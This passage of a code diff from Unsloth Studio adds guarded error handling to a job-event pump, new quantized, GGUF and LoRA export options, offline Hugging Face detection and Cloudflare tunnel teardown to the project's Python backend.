app = run_server(host = "0.0.0.0", port = port, frontend_path = frontend_path, silent = True)
# cloudflare=False: this helper owns the tunnel. run_server's default True
# would tunnel this 0.0.0.0 bind if Colab detection fails, breaking the opt-out.
app = run_server(
host = "0.0.0.0",
port = port,
frontend_path = frontend_path,
silent = True,
cloudflare = False,
)
except SystemExit as exc:
logger.error(f"❌ Unsloth Studio failed to start: {exc}")
return
@ -236,16 +365,21 @@ def start(port: int = 8888):
)
return
_show_and_embed(actual_port)
# Keep kernel alive so the daemon server thread runs; handle KeyboardInterrupt
# cleanly so interrupting the cell gives a readable message.
# Open the tunnel now the server is healthy, publish its URL for /api/health, and
# tear it down on interrupt (try/finally) rather than orphan the process.
try:
cf_url = start_cloudflare_tunnel(actual_port) if cloudflare else None
_publish_cloudflare_url(cf_url)
_show_and_embed(actual_port, cloudflare_url = cf_url)
# Keep kernel alive so the daemon server thread runs.
for _ in range(10000):
time.sleep(300)
print("=", end = "", flush = True)
except KeyboardInterrupt:
logger.info("\nUnsloth Studio keepalive stopped.")
finally:
_stop_cloudflare_tunnel()
if __name__ == "__main__":

99
studio/backend/core/data_recipe/jobs/manager.py
View file

@ -28,6 +28,9 @@ from .constants import (
from .parse import apply_update, coerce_event, parse_log_message
from .types import Job
from .worker import run_job_process
from loggers import get_logger
logger = get_logger(__name__)
_CTX = mp.get_context("spawn")
@ -445,54 +448,86 @@ class JobManager:
events.append(coerce_event(q.get_nowait()))
except queue.Empty:
return events
except (EOFError, OSError, ValueError):
except Exception:
# Return what we have so the run still finalizes rather than wedging "active".
logger.exception(
"Data-recipe job pump: queue drain failed; finalizing with drained events"
)
return events
def _safe_handle_event(self, job: Job, event: dict) -> None:
"""Apply one event, swallowing any handler error so the pump can't die."""
try:
self._handle_event(job, event)
except Exception:
etype = event.get("type") if isinstance(event, dict) else type(event).__name__
logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype)
def _pump_loop(self) -> None:
"""Background thread: consumes worker events + updates job snapshot."""
"""Background thread: consume worker events and update the job snapshot.
Guarded so no single event can end the loop; it is the sole writer of the
snapshot the UI polls, so its death would freeze status/SSE.
"""
while True:
snap = self._snapshot()
if snap is None:
return
job, proc, mp_q = snap
event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
try:
event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
except Exception:
# If a read keeps raising after the worker died, finalize instead
# of spinning forever; only retry while the worker is still alive.
logger.exception("Data-recipe job pump: queue read failed; continuing")
if proc.is_alive():
time.sleep(0.1)
continue
event = None
if event is not None:
self._handle_event(job, event)
self._safe_handle_event(job, event)
continue
if proc.is_alive():
continue
for e in self._drain_queue(mp_q):
self._handle_event(job, e)
# Worker exited: drain + finalize, guarded so an error can't strand the run "active".
try:
for e in self._drain_queue(mp_q):
self._safe_handle_event(job, e)
retired_job: Job | None = None
with self._lock:
if self._job and self._job.status in {
"pending",
"active",
"cancelling",
}:
if self._job.status == "cancelling":
self._job.status = "cancelled"
else:
self._job.status = "error"
self._job.error = self._job.error or "process exited"
self._job.finished_at = time.time()
event_type = (
EVENT_JOB_CANCELLED if self._job.status == "cancelled" else EVENT_JOB_ERROR
)
self._emit(
{
"type": event_type,
"ts": time.time(),
"job_id": self._job.job_id,
}
)
retired_job = self._job
if retired_job is not None:
self._retire_workflow_key(retired_job)
retired_job: Job | None = None
with self._lock:
if self._job and self._job.status in {
"pending",
"active",
"cancelling",
}:
if self._job.status == "cancelling":
self._job.status = "cancelled"
else:
self._job.status = "error"
self._job.error = self._job.error or "process exited"
self._job.finished_at = time.time()
event_type = (
EVENT_JOB_CANCELLED
if self._job.status == "cancelled"
else EVENT_JOB_ERROR
)
self._emit(
{
"type": event_type,
"ts": time.time(),
"job_id": self._job.job_id,
}
)
retired_job = self._job
if retired_job is not None:
self._retire_workflow_key(retired_job)
except Exception:
logger.exception("Data-recipe job pump: finalization after worker exit failed")
return
def _handle_event(self, job: Job, event: dict) -> None:

426
studio/backend/core/export/export.py
View file

@ -10,9 +10,21 @@ import tempfile
from loggers import get_logger
import os
import shutil
import contextlib
from pathlib import Path
from typing import Optional, Tuple, List
from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable
# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash.
try:
from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
_UNSLOTH_IMPORT_ERROR = None
except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load
FastLanguageModel = None
FastVisionModel = None
_IS_MLX = False
_UNSLOTH_IMPORT_ERROR = _unsloth_exc
from huggingface_hub import HfApi, ModelCard
from utils.hardware import clear_gpu_cache
@ -26,17 +38,130 @@ from utils.paths import (
)
from core.inference import get_inference_backend
# GPU-only imports — guarded for Apple Silicon where these aren't needed
# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays
# importable; export then degrades to a clear "PyTorch is not installed" error.
torch = None
_TORCH_IMPORT_ERROR: Optional[BaseException] = None
if not _IS_MLX:
from peft import PeftModel, PeftModelForCausalLM
from transformers.modeling_utils import PushToHubMixin
import torch
try:
from peft import PeftModel, PeftModelForCausalLM
from transformers.modeling_utils import PushToHubMixin
import torch
except Exception as _torch_exc: # ImportError, or a broken native torch load
_TORCH_IMPORT_ERROR = _torch_exc
logger = get_logger(__name__)
def _export_runtime_available() -> bool:
"""True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host)."""
return bool(_IS_MLX) or (FastLanguageModel is not None)
def _export_runtime_message() -> str:
"""Precise reason the export runtime is unavailable, mirroring hardware.export_capability()."""
if torch is None:
return (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
return (
"Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
"accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on "
"CPU only.)"
)
# Kept for call sites / tests referencing the PyTorch-missing text.
_PYTORCH_MISSING_MESSAGE = (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
_LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
def _supports_kwarg(fn, name):
"""True if `fn` accepts keyword `name` directly or via **kwargs."""
import inspect
try:
params = inspect.signature(fn).parameters
except (TypeError, ValueError):
return False
return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values())
def _compressed_export_supported():
"""True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export."""
try:
import unsloth.save as _us
return hasattr(_us, "_normalize_compressed_method")
except Exception:
return False
def _torchao_export_supported():
"""True if the installed unsloth build has the portable torchao FP8/INT8 export path."""
try:
import unsloth.save as _us
return hasattr(_us, "_normalize_torchao_method")
except Exception:
return False
def _has_nvidia_gpu():
"""True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it."""
try:
from utils.hardware import hardware as _hw
return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM
except Exception:
try:
import torch
return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None
except Exception:
return False
def _hf_offline(timeout = 3):
"""True if export should avoid the Hub: honors the HF offline env vars, else does one
cheap TCP reachability probe so a network-down load uses local files / the HF cache
instead of hanging on connection timeouts. Proxy-aware (probes the proxy egress when
one is configured); disable the probe with UNSLOTH_OFFLINE_PROBE=0."""
_offline = {"1", "true", "yes", "on"}
if (
os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
):
return True
if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in {"0", "false", "no", "off"}:
return False # probe disabled -> assume online; loads still pass local_files_only on env
# Shared bounded, proxy-aware probe (also used by the export worker before version activation).
from utils.transformers_version import hf_endpoint_unreachable
if hf_endpoint_unreachable(timeout):
logger.warning("Hugging Face endpoint unreachable; loading checkpoint in offline mode")
return True
return False
# Reuse Unsloth's lock-guarded forced-offline context; no-op fallback if it moves.
try:
from unsloth.models.loader_utils import _force_hf_offline
except Exception:
import contextlib as _contextlib
@_contextlib.contextmanager
def _force_hf_offline():
yield
def _offline_window_if(local_files_only):
"""Forced-offline window when offline was detected, else a no-op context."""
return _force_hf_offline() if local_files_only else contextlib.nullcontext()
def _is_wsl():
"""Detect if running under Windows Subsystem for Linux."""
try:
@ -175,10 +300,19 @@ class ExportBackend:
model_id = base_model or checkpoint_path
# Token the type-detection probes too, else a gated multimodal base
# 404s here and falls through to the text loader.
self._audio_type = detect_audio_type(model_id, hf_token = token)
self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token)
# Skip the Hub when offline so a no-internet export uses the local cache.
local_files_only = _hf_offline()
# Run the type-detection probes in the forced-offline window (else a gated
# base 404s); it covers is_vision_model's Hub reads + the transformers-5
# subprocess, and local_files_only makes detect_audio_type's requests.get skip.
with _offline_window_if(local_files_only):
self._audio_type = detect_audio_type(
model_id, hf_token = token, local_files_only = local_files_only
)
self.is_vision = not self._audio_type and is_vision_model(
model_id, hf_token = token, local_files_only = local_files_only
)
if self._audio_type == "csm":
from unsloth import FastModel
@ -193,6 +327,7 @@ class ExportBackend:
load_in_4bit = False,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
elif self._audio_type == "whisper":
@ -207,6 +342,7 @@ class ExportBackend:
auto_model = WhisperForConditionalGeneration,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
elif self._audio_type == "snac":
@ -218,6 +354,7 @@ class ExportBackend:
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
elif self._audio_type == "bicodec":
@ -230,6 +367,7 @@ class ExportBackend:
load_in_4bit = False,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
elif self._audio_type == "dac":
@ -241,6 +379,7 @@ class ExportBackend:
load_in_4bit = False,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
elif self.is_vision:
@ -252,6 +391,7 @@ class ExportBackend:
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
tokenizer = processor # vision: processor acts as tokenizer
@ -264,6 +404,7 @@ class ExportBackend:
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
token = token,
local_files_only = local_files_only,
)
if _IS_MLX:
@ -318,13 +459,17 @@ class ExportBackend:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
compressed_method: Optional[str] = None,
) -> Tuple[bool, str, Optional[str]]:
"""
Export merged model (for PEFT models).
Args:
save_directory: Local directory to save model
format_type: "16-bit (FP16)" or "4-bit (FP4)"
format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label
compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8",
"fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides
format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES.
push_to_hub: Whether to push to Hugging Face Hub
repo_id: Hub repository ID (username/model-name)
hf_token: Hugging Face token
@ -333,27 +478,114 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
if not self.is_peft:
return (
False,
"This is not a PEFT model. Use 'Export Base Model' instead.",
None,
)
# Merged export works for PEFT adapters and non-PEFT Local/HF base models alike
# (save_pretrained_merged is a no-op merge that just saves the base).
output_path: Optional[str] = None
# Quantized formats save to a sibling "<dir>-<suffix>". Two backends: compressed-tensors
# (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias
# comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label.
_LABEL_TO_ALIAS = {
"FP8 (compressed-tensors)": "fp8",
"NVFP4 (compressed-tensors)": "nvfp4",
}
compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)
compressed_suffix: Optional[str] = None
# Classify the alias: torchao-portable vs compressed-tensors.
torchao_info = None
if compressed_alias and _torchao_export_supported():
try:
import unsloth.save as _us_t
torchao_info = _us_t._normalize_torchao_method(compressed_alias)
except Exception:
torchao_info = None
is_torchao = torchao_info is not None
is_compressed = compressed_alias is not None and not is_torchao
try:
if _IS_MLX and (is_compressed or is_torchao):
return (
False,
"Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. "
"Use 16-bit or GGUF.",
None,
)
if is_torchao:
# Portable torchao: no NVIDIA GPU, no calibration.
compressed_suffix = torchao_info[1]
if is_compressed:
# compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed.
if not _has_nvidia_gpu():
return (
False,
"Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other "
"hardware use the portable FP8/INT8 (torchao) formats or 16-bit.",
None,
)
if not _compressed_export_supported():
return (
False,
"Compressed-tensors (FP8/FP4) export requires an Unsloth build with "
"compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
None,
)
import unsloth.save as _us
# Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models
# (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports
# through it when available; else fall back to the workspace 0.10.x path below.
_shadow_pp = None
try:
from utils.transformers_version import llmcompressor_shadow_pythonpath
_shadow_pp = llmcompressor_shadow_pythonpath()
except Exception as e:
logger.warning(f"llm-compressor-main shadow unavailable: {e}")
if _shadow_pp:
os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp
else:
# No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its
# transformers ceiling, so fail fast for sidecar models; default-tier still works.
os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None)
_exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling()
if _exceeds:
return (
False,
"FP8/FP4 compressed-tensors export is not available for this model: it "
f"runs under transformers {_tf_ver}, but the installed llm-compressor "
f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the "
"llm-compressor-main runtime could not be provisioned (offline or "
"UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.",
None,
)
try:
info = _us._normalize_compressed_method(compressed_alias)
except Exception as e:
return False, f"Unsupported compressed export '{compressed_alias}': {e}", None
if info is None:
return (
False,
f"'{compressed_alias}' is not a recognized compressed-tensors export.",
None,
)
compressed_suffix = info[2]
if _IS_MLX:
mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
elif is_compressed or is_torchao:
save_method = compressed_alias
elif format_type == "4-bit (FP4)":
save_method = "merged_4bit_forced"
elif self._audio_type == "whisper":
save_method = None
else:
if format_type == "4-bit (FP4)":
save_method = "merged_4bit_forced"
elif self._audio_type == "whisper":
save_method = None
else:
save_method = "merged_16bit"
save_method = "merged_16bit"
if save_directory:
save_directory = str(resolve_export_write_dir(save_directory))
@ -371,9 +603,15 @@ class ExportBackend:
save_directory, self.current_tokenizer, save_method = save_method
)
self._write_export_metadata(save_directory)
logger.info(f"Model saved successfully to {save_directory}")
output_path = str(Path(save_directory).resolve())
# Compressed / torchao writes to the "<dir>-<suffix>" sibling; report that as output.
final_dir = (
f"{save_directory}-{compressed_suffix}"
if (is_compressed or is_torchao)
else save_directory
)
self._write_export_metadata(final_dir)
logger.info(f"Model saved successfully to {final_dir}")
output_path = str(Path(final_dir).resolve())
if push_to_hub:
if not repo_id or not hf_token:
@ -408,6 +646,31 @@ class ExportBackend:
token = hf_token,
private = private,
)
elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():
# Already built in output_path; upload it directly instead of re-running the
# expensive quantization that push_to_hub_merged(save_method=...) would redo.
hf_api = HfApi(token = hf_token)
repo_id = PushToHubMixin._create_repo(
PushToHubMixin,
repo_id = repo_id,
private = private,
token = hf_token,
)
content = MODEL_CARD.format(
username = repo_id.split("/")[0],
base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
model_type = getattr(self.current_model.config, "model_type", "llm"),
method = compressed_alias or format_type,
extra = "unsloth",
)
ModelCard(content).push_to_hub(
repo_id, token = hf_token, commit_message = "Unsloth Model Card"
)
hf_api.upload_folder(
folder_path = output_path,
repo_id = repo_id,
repo_type = "model",
)
else:
hub_save_method = save_method if save_method is not None else "merged_16bit"
self.current_model.push_to_hub_merged(
@ -443,6 +706,8 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
@ -561,17 +826,20 @@ class ExportBackend:
def export_gguf(
self,
save_directory: str,
quantization_method: str = "Q4_K_M",
quantization_method = "Q4_K_M",
push_to_hub: bool = False,
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
imatrix_file = None,
) -> Tuple[bool, str, Optional[str]]:
"""
Export model in GGUF format.
Args:
save_directory: Local directory to save model
quantization_method: GGUF quantization method (e.g., "Q4_K_M")
quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them
(e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single
model load (unsloth save_to_gguf loops internally).
push_to_hub: Whether to push to Hugging Face Hub
repo_id: Hub repository ID
hf_token: Hugging Face token
@ -579,14 +847,35 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
# Only forward imatrix_file to an unsloth build that accepts it, else older builds raise
# an unexpected-keyword error even for a plain no-imatrix export.
if imatrix_file is not None and not _supports_kwarg(
self.current_model.save_pretrained_gguf, "imatrix_file"
):
return (
False,
"This Unsloth build does not support GGUF imatrix export. "
"Upgrade unsloth and unsloth_zoo, or disable the imatrix option.",
None,
)
imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}
output_path: Optional[str] = None
model_tmp_to_cleanup: Optional[str] = None
try:
# unsloth expects lowercase quant method
quant_method = quantization_method.lower()
# Normalize to a lowercased list so multiple quants come from one model load.
if isinstance(quantization_method, (list, tuple)):
quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()]
else:
quant_methods = [str(quantization_method).lower()]
if not quant_methods:
quant_methods = ["q4_k_m"]
quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0]
# Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it
# can't drift past the pinned llama-quantize binary's gguf API.
@ -635,6 +924,7 @@ class ExportBackend:
_model_tmp,
self.current_tokenizer,
quantization_method = quant_method,
**imatrix_kw,
)
# Relocate the .gguf that convert_to_gguf wrote to cwd (repo root).
@ -701,12 +991,13 @@ class ExportBackend:
self.current_tokenizer,
quantization_method = quant_method,
token = hf_token,
**imatrix_kw,
)
logger.info(f"GGUF model pushed successfully to {repo_id}")
return (
True,
f"GGUF model exported successfully ({quantization_method})",
f"GGUF model exported successfully ({', '.join(quant_methods)})",
output_path,
)
@ -726,19 +1017,56 @@ class ExportBackend:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
gguf: bool = False,
gguf_outtype: str = "q8_0",
) -> Tuple[bool, str, Optional[str]]:
"""
Export LoRA adapter only (not merged).
Args:
gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp
convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.
gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32.
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
if not self.is_peft:
return False, "This is not a PEFT model. No adapter to export.", None
_GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32")
if gguf:
if _IS_MLX:
return (
False,
"GGUF LoRA adapter export is not supported on macOS/MLX. "
"Use the safetensors adapter instead.",
None,
)
outtype = str(gguf_outtype).lower()
if outtype not in _GGUF_LORA_OUTTYPES:
return (
False,
f"Invalid GGUF LoRA outtype '{gguf_outtype}'. "
f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.",
None,
)
# getattr so an older build without save_pretrained_gguf returns a clean message
# instead of an AttributeError (a generic 500).
_save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None)
if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"):
return (
False,
"This Unsloth build does not support GGUF LoRA adapter export. "
"Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.",
None,
)
output_path: Optional[str] = None
try:
if save_directory:
@ -746,7 +1074,24 @@ class ExportBackend:
logger.info(f"Saving LoRA adapter locally to: {save_directory}")
ensure_dir(Path(save_directory))
if _IS_MLX:
if gguf:
# Writes the adapter files plus "<base>-lora-<outtype>.gguf".
_apply_wsl_sudo_patch()
self.current_model.save_pretrained_gguf(
save_directory,
self.current_tokenizer,
save_method = "lora",
quantization_method = outtype,
# Forward the token so convert_lora_to_gguf.py can fetch a gated base's config.
token = hf_token or None,
)
final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf")))
logger.info(
"LoRA GGUF export complete. Files in %s:\n %s",
save_directory,
"\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)",
)
elif _IS_MLX:
# MLX: save adapters.safetensors + tokenizer files
self.current_model.save_lora_adapters(save_directory)
self.current_tokenizer.save_pretrained(save_directory)
@ -766,7 +1111,24 @@ class ExportBackend:
logger.info(f"Pushing LoRA adapter to Hub: {repo_id}")
if _IS_MLX:
if gguf:
# Upload the locally-built GGUF folder; needs a local save_directory so the
# conversion is not re-run.
if not (output_path and Path(output_path).is_dir()):
return (
False,
"GGUF LoRA Hub upload requires a local save directory; set one and "
"retry.",
None,
)
hf_api = HfApi(token = hf_token)
hf_api.create_repo(repo_id, private = private, exist_ok = True)
hf_api.upload_folder(
folder_path = output_path,
repo_id = repo_id,
repo_type = "model",
)
elif _IS_MLX:
with tempfile.TemporaryDirectory() as tmp_dir:
self.current_model.save_lora_adapters(tmp_dir)
self.current_tokenizer.save_pretrained(tmp_dir)

20
studio/backend/core/export/orchestrator.py
View file

@ -456,6 +456,7 @@ class ExportOrchestrator:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
compressed_method: Optional[str] = None,
) -> Tuple[bool, str, Optional[str]]:
"""Export merged PEFT model."""
return self._run_export(
@ -467,6 +468,7 @@ class ExportOrchestrator:
"repo_id": repo_id,
"hf_token": hf_token,
"private": private,
"compressed_method": compressed_method,
},
)
@ -495,12 +497,13 @@ class ExportOrchestrator:
def export_gguf(
self,
save_directory: str,
quantization_method: str = "Q4_K_M",
quantization_method = "Q4_K_M",
push_to_hub: bool = False,
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
imatrix_file = None,
) -> Tuple[bool, str, Optional[str]]:
"""Export model in GGUF format."""
"""Export model in GGUF format. `quantization_method` may be a single method or a list."""
return self._run_export(
"gguf",
{
@ -509,6 +512,7 @@ class ExportOrchestrator:
"push_to_hub": push_to_hub,
"repo_id": repo_id,
"hf_token": hf_token,
"imatrix_file": imatrix_file,
},
)
@ -519,8 +523,10 @@ class ExportOrchestrator:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
gguf: bool = False,
gguf_outtype: str = "q8_0",
) -> Tuple[bool, str, Optional[str]]:
"""Export LoRA adapter only."""
"""Export LoRA adapter only (optionally also as a GGUF LoRA file)."""
return self._run_export(
"lora",
{
@ -529,6 +535,8 @@ class ExportOrchestrator:
"repo_id": repo_id,
"hf_token": hf_token,
"private": private,
"gguf": gguf,
"gguf_outtype": gguf_outtype,
},
)
@ -555,9 +563,13 @@ class ExportOrchestrator:
cmd = {"type": "export", "export_type": export_type, **params}
try:
self._send_cmd(cmd)
# GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them
# all in one op off a single merge, so scale the timeout by the quant count.
_qm = params.get("quantization_method")
_n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1
resp = self._wait_response(
f"export_{export_type}_done",
timeout = 3600, # GGUF for 30B+ models can take 30+ min
timeout = 3600 * max(1, _n),
)
op_success = resp.get("success", False)
op_message = resp.get("message", "")

92
studio/backend/core/export/worker.py
View file

@ -13,6 +13,7 @@ Pattern follows core/inference/worker.py and core/training/worker.py.
from __future__ import annotations
import contextlib
import errno
import structlog
from loggers import get_logger
@ -171,6 +172,57 @@ def _activate_transformers_version(model_name: str, hf_token: str | None = None)
activate_transformers_for_subprocess(model_name, hf_token)
@contextlib.contextmanager
def _offline_window_if_unreachable(step = "loading"):
"""Force HF offline for a network-touching step (transformers version activation, or the
load preflights that hit the Hub) when the endpoint is unreachable, then restore the prior
env. Keeps a no-network export from hanging on Hub calls that run before load_checkpoint's
own probe, while letting this persistent worker re-decide per operation once back online.
Post-ML-import (the load preflights), huggingface_hub has already read its in-process
offline constant and cached sessions, so env alone is too late: defer to the loader's
_force_hf_offline (env + in-process flags + session reset). Pre-import (activation),
huggingface_hub is not loaded yet, so setting the env vars suffices for its urllib probes."""
saved: dict[str, str | None] = {}
force_ctx = None
try:
from utils.transformers_version import _env_offline, hf_endpoint_unreachable
probe_enabled = os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() not in (
"0",
"false",
"no",
"off",
)
if not _env_offline() and probe_enabled and hf_endpoint_unreachable():
logger.warning("Hugging Face endpoint unreachable; %s offline", step)
if "huggingface_hub" in sys.modules:
try:
from unsloth.models.loader_utils import _force_hf_offline
force_ctx = _force_hf_offline()
force_ctx.__enter__() # sets env + in-process flags + resets sessions
except Exception:
force_ctx = None
if force_ctx is None:
for k in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):
saved[k] = os.environ.get(k)
os.environ[k] = "1"
except Exception:
pass
try:
yield
finally:
if force_ctx is not None:
try:
force_ctx.__exit__(None, None, None)
except Exception:
pass
for k, v in saved.items():
if v is None:
os.environ.pop(k, None)
else:
os.environ[k] = v
def _send_response(resp_queue: Any, response: dict) -> None:
"""Send a response to the parent process."""
try:
@ -345,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
private = cmd.get("private", False),
compressed_method = cmd.get("compressed_method"),
)
elif export_type == "base":
success, message, output_path = backend.export_base_model(
@ -362,6 +415,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
push_to_hub = cmd.get("push_to_hub", False),
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
imatrix_file = cmd.get("imatrix_file"),
)
elif export_type == "lora":
success, message, output_path = backend.export_lora_adapter(
@ -370,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
private = cmd.get("private", False),
gguf = cmd.get("gguf", False),
gguf_outtype = cmd.get("gguf_outtype", "q8_0"),
)
else:
success, message = False, f"Unknown export type: {export_type}"
@ -459,19 +515,20 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
checkpoint_path = config["checkpoint_path"]
# ── 1. Activate correct transformers version BEFORE any ML imports ──
try:
_activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
except Exception as exc:
_send_response(
resp_queue,
{
"type": "error",
"error": f"Failed to activate transformers version: {exc}",
"stack": traceback.format_exc(limit = 20),
"ts": time.time(),
},
)
return
with _offline_window_if_unreachable(step = "activating transformers"):
try:
_activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
except Exception as exc:
_send_response(
resp_queue,
{
"type": "error",
"error": f"Failed to activate transformers version: {exc}",
"stack": traceback.format_exc(limit = 20),
"ts": time.time(),
},
)
return
# ── 1b. Check Triton on Windows (must precede import torch) ──
if sys.platform == "win32":
@ -534,7 +591,10 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
try:
backend = ExportBackend()
_handle_load(backend, config, resp_queue)
# Offline window covers the load preflights (malware/consent scans hit the Hub)
# before load_checkpoint runs its own probe; restored after so later loads re-decide.
with _offline_window_if_unreachable():
_handle_load(backend, config, resp_queue)
except Exception as exc:
_send_response(
@ -570,7 +630,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
if cmd_type == "load":
# Load a new checkpoint, reusing this subprocess.
backend.cleanup_memory()
_handle_load(backend, cmd, resp_queue)
# Offline window also covers this load's Hub preflights (re-probed per load).
with _offline_window_if_unreachable():
_handle_load(backend, cmd, resp_queue)
elif cmd_type == "export":
_handle_export(backend, cmd, resp_queue)

43
studio/backend/core/inference/__init__.py
View file

@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation.
The default get_inference_backend() returns an InferenceOrchestrator that
delegates to a subprocess. The original InferenceBackend runs inside the
subprocess and can be imported directly from .inference when needed.
Public names are resolved lazily (PEP 562): importing this package -- or a
dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull
the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML
backend and its Studio dependencies). Those load only when a public name is
actually accessed, so standalone helpers stay unit-testable without the full
inference stack.
"""
from .orchestrator import InferenceOrchestrator, get_inference_backend
from .llama_cpp import LlamaCppBackend
